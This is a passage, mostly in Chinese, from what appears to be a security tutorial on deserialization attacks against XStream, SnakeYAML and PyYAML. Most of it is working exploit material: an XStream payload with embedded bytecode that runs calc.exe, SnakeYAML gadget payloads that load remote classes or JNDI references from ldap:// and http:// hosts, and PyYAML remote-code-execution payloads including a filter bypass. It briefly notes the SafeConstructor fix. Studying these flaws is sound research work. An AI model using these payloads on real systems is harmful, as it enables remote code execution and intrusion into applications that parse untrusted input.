<byte-array>yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMdXRpbHMvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEACnV0aWxzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB4ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABEADAAPAA0AEAARABIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</bean>
<localCache>
<methods>
<entry>
<string>getOutputProperties</string>
<list>
<method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</method>
</list>
</entry>
</methods>
</localCache>
</attrIndexTable>
<shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
</outer-class>
</comparator>
</default>
<int>3</int>
<string-array>
<string>ricky</string>
<string>outputProperties</string>
</string-array>
<string-array>
<string>ricky</string>
</string-array>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
CVE Reference
全部CVE请参考: https://x-stream.github.io/security.html
或者使用marshalsec工具生成payload
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp
SankeYaml
大多数 java 项目用来处理数据基本上都是 xml 和 json 两种格式,yaml 相对来说少见一点,在我做过的一些代码审计项目里,使用 yaml 处理库最常见的就是 SnakeYaml,虽然还有 jyaml、YAMLBeans 之类的库,但我在真实环境里挺少有见到使用的。
先导入 snakeyaml 依赖
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.17</version>
</dependency>
然后输出序列化一个 javabean
import org.yaml.snakeyaml.Yaml;
public class snakeyaml {
public static void main(String[] args) {
Yaml yaml = new Yaml();
Person person = new Person("ricky", 18);
String dump = yaml.dump(person);
System.out.println(dump);
}
}
输出结果
!!Person {age: 18, name: ricky}
!! 后面跟全类名,{} 里是属性名和属性值,中间使用逗号分隔,sankeyaml 特点在于它没有黑名单,不能设置私有属性,不能使用构造方法触发的 gadgets
所以采用直接对类的触发
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1099/calc', autoCommit: true}
YAML基本格式要求:
- YAML大小写敏感;
- 使用缩进代表层级关系;
缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
构造payload时需要按照这个格式要求进行构造, 否则会报错
import org.yaml.snakeyaml.Yaml;
public class snakeyaml {
public static void main(String[] args) {
Yaml yaml = new Yaml();
yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1099/calc',autoCommit: true}");
}
}
ScriptEngineManager
基于javax.script.ScriptEngineManager的利用链, 本次利用是基于javax.script.ScriptEngineManager的利用链
TestEvil.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成TestEvil.class然后放置于第三方Web服务中:
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.util.List;
public class TestEvil implements ScriptEngineFactory {
public TestEvil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory
,其中内容为指定被执行的类名TestEvil, 然后调用POC即可弹出计算机
import org.yaml.snakeyaml.Yaml;
public class snakeyaml {
public static void main(String[] args) {
Yaml yaml = new Yaml();
yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8088/\"]]]]");
}
}
或者是打包成jar包进行加载, 参考:
一定要放入META-INF\services\javax.script.ScriptEngineFactory
才可执行jar包
SPI机制
参考: https://www.cnblogs.com/nice0e3/p/14514882.html
Java的SPI机制,它会去寻找目标URL中META-INF/services
目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类。程序会java.util.ServiceLoder
动态装载实现模块,在META-INF/services
目录下的配置文件寻找实现类的类名,通过Class.forName
加载进来,newInstance()
反射创建对象,并存到缓存和列表里面。
调试发现,在调用完如下调用链获取到类名javax.script.ScriptEngineManager
之后,会返回到调用链中的construct()函数中调用获取到的构造器的constrcut()方法,然后就会继续遍历解析得到yaml格式数据内的java.net.URLClassLoader
类名和java.net.URL
类名:
constructDocument->constructObject->constructObjectNoCheck(新版统一为constructObject)->construct->getConstructor->getClassForNode->getClassForName
这整个流程返回了一个反射的class对象
protected Class<?> getClassForName(String name) throws ClassNotFoundException {
try {
return Class.forName(name, true, Thread.currentThread().getContextClassLoader());
} catch (ClassNotFoundException var3) {
return Class.forName(name);
}
}
从getConstructor出来后继续跟进construct方法
result = this.getConstructor(node).construct(node);
此时node的type值被改为 class javax.script.ScriptEngineManager
, 在上一步获取反射对象并赋值给cl时, 执行了 node.setType(cl);
这一步, 将通过反射获取的对象赋值给 node实例中的 this.type
, 所以在后续构造construct构造时触发的是 javax.script.ScriptEngineManager
的getDeclaredConstructors
(无参构造)
随后 possibleConstructors 存入参数也就是 public javax.script.ScriptEngineManager(java.lang.ClassLoader)
, 将获取到的第一个元素强制转换为 Constructor
类型
回去遍历获取snode的值后对其 javax.script.ScriptEngineManager(java.lang.ClassLoader)
进行初始化, 其中 argumentList 参数为 URLClassLoader 类对象
接着就调用到 ScriptEngineManager 类的构造函数, 在init()中调用了initEngines(),跟进initEngines(),看到调用了ServiceLoader<ScriptEngineFactory>
, 这个就是Java的SPI机制
后续会调用到 ServiceLoader.hasNext
然后就是跟进 ServiceLoader.hasNextService
, 此处就回去读取 META-INF/services/javax.script.ScriptEngineFactory
获取实现类的信息
接着在 ServiceLoader$LazyIterator.nextService()
函数中调 Class.forName()
即通过反射来获取目标URL上的 TestEvil.class , 此时在Web服务端会看到被请求访问TestEvil.class 的记录, 接着c.newInstance()函数创建的 TestEvil 类实例传入 javax.script.ScriptEngineManager.cast
执行
漏洞修复
该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击, 所以其修复方案为加入new SafeConstructor()
类进行过滤或拒绝不安全的反序列化操作
Yaml yaml = new Yaml(new SafeConstructor());
JdbcRowSetImpl
POC1
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1099/calc',autoCommit: true}
POC2(缩进代表层级关系, 也就是com.sun.rowset.JdbcRowSetImpl.dataSourceName)
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: 'ldap://127.0.0.1:1099/calc'
autoCommit: true
SnakeYaml在调用Yaml.load()反序列化的时候,会调用到JdbcRowSetImpl类的dataSourceName属性的setter方法即setDataSourceName() , 后续出发一系列利用链达到JNDI注入
Spring PropertyPathFactoryBean
需要在目标环境存在springframework相关的jar包
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.14</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.14</version>
</dependency>
POC1
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "ldap://127.0.0.1:1099/calc"
propertyPath: ricky
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://127.0.0.1:1099/calc"]
POC2
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "ldap://127.0.0.1:1099/calc"
propertyPath: ricky
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources:
- "ldap://127.0.0.1:1099/calc"
POC3
!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "ldap://127.0.0.1:1099/calc", propertyPath: ricky, beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["ldap://127.0.0.1:1099/calc"]}}
PropertyPathFactoryBean类的beanFactory属性可以设置一个远程的Factory,类似于JNDI注入的原理,当SnakeYaml反序列化的时候会调用到该属性的setter方法,通过JNDI注入漏洞成功实现反序列化漏洞的利用
Spring DefaultBeanFactoryPointcutAdvisor
需要在目标环境存在springframework相关的jar包
POC1
set:
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName:
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: []
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://127.0.0.1:1099/calc"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: []
POC2
set:
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName:
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources:
-
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://127.0.0.1:1099/calc"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources:
-
POC3
set:
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor {adviceBeanName: , beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: []}}
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor {adviceBeanName: "ldap://127.0.0.1:1099/calc", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: []}}
Apache XBean
<!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-naming -->
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect -->
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.15</version>
</dependency>
POC1
!!org.apache.xbean.propertyeditor.JndiConverter {asText: "ldap://127.0.0.1:1099/calc"}
POC2
!!org.apache.xbean.propertyeditor.JndiConverter
asText: "ldap://127.0.0.1:1099/calc"
POC3
!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "test", "http://127.0.0.1:8079/"],!!org.apache.xbean.naming.context.WritableContext []]]
Apache Commons Configuration
POC
set:
? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:1099/calc"]]
C3P0 JndiRefForwardingDataSource
POC1
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: "ldap://127.0.0.1:1099/calc"
loginTimeout: 0
POC2
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: "ldap://127.0.0.1:1099/calc", loginTimeout: 0}
C3P0 WrapperConnectionPoolDataSource
POC1
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: "HexAsciiSerializedMap:xxx;"}
POC2
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: "HexAsciiSerializedMap:xxx;"
其余的类似 fastjson 或 jackson 的JNDI注入均可在yaml中实现
URLDNS
SnakeYAML在解析带键值对的集合的时候会对键调用hashCode方法因此会触发DNS解析,因此通过构造URL对象后面简单加个: 1让他成为一个mapping, 测试java.lang.String
类是否存在
key: [!!java.lang.String {}: 0, !!java.net.URL [null, "[http://feycmi.dnslog.cn](http://feycmi.dnslog.cn/)"]: 1]
PyYaml
额外拓展PyYaml的知识
CVE-2020-1747
参考: https://gist.github.com/adamczi/23a3b6d4bb7b2be35e79b0667d6682e1
通过yaml格式对PyYaml进行RCE
# The `extend` function is overriden to run `yaml.unsafe_load` with
# custom `listitems` argument, in this case a simple curl request
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
While the format of python/object/apply
can supply states for the object, we can use python/name
to reference a python internal function (exec, eval etc).
YAML中使用
!!
做类型强行转换
# !!python/object/apply # (or !!python/object/new)
# args: [ ... arguments ... ]
# kwds: { ... keywords ... }
# state: ... state ...
# listitems: [ ... listitems ... ]
# dictitems: { ... dictitems ... }
# or short format:
# !!python/object/apply [ ... arguments ... ]
The 5.3.1 fixes blocked the key extend
and ^__.*__$
to disallow setting those key with the state parameter.
We discovered that we can use python/object/new
with type
constructor (type
is a type…) to create new types with some customized internal state. With this, we can bypass the state
key block mechanism and freely set our object to something like this:
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:eval }]
With this we can put our commands to listitems
, and the constructor will call instance.extend(listitems)
, thus finish our RCE exploit.
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:eval }]
listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('calc\x2eexe')"
We changed _
to \x5f
and .
to \x2e
to bypass the regex limitation
tuple&map
This is essentially the python code tuple(map(eval, "PAYLOAD"))
, and this works as map
and tuple
are both class constructor (so it doesnt use any function as apply calls)
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ '__import__("os").system("calc.exe")' ]]]
or like this
使用一个短横线加一个空格代表一个数组项
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ '__import__("os").system("calc.exe")' ]
oor like this
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
-
- '__import__("os").system("calc.exe")'
other RCE
直接修改yml文件为:
!!python/object:os.system ["calc.exe"]
再运行,失败(显示参数未传递:TypeError: system() takes exactly 1 argument (0 given)),尝试查看源码、并变换yml文件中语句格式,均未成功!(疑难点)。
修改为以下2种均成功,通过源码得知,new其实是调用了apply,他们的不同的地方是创建对象的方式,这里可以大致认为它们是一样的。
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
然后就是各种组合的payload
!!python/object/apply:os.system
- "calc.exe"
!!python/object/new:os.system
- "calc.exe"
还可以尝试其它的命令执行函数
!!python/object/apply:subprocess.check_output ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [[calc.exe]]
!!python/object/new:subprocess.check_output ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:subprocess.check_output [[calc.exe]]
!!python/object/apply:subprocess.Popen [calc.exe]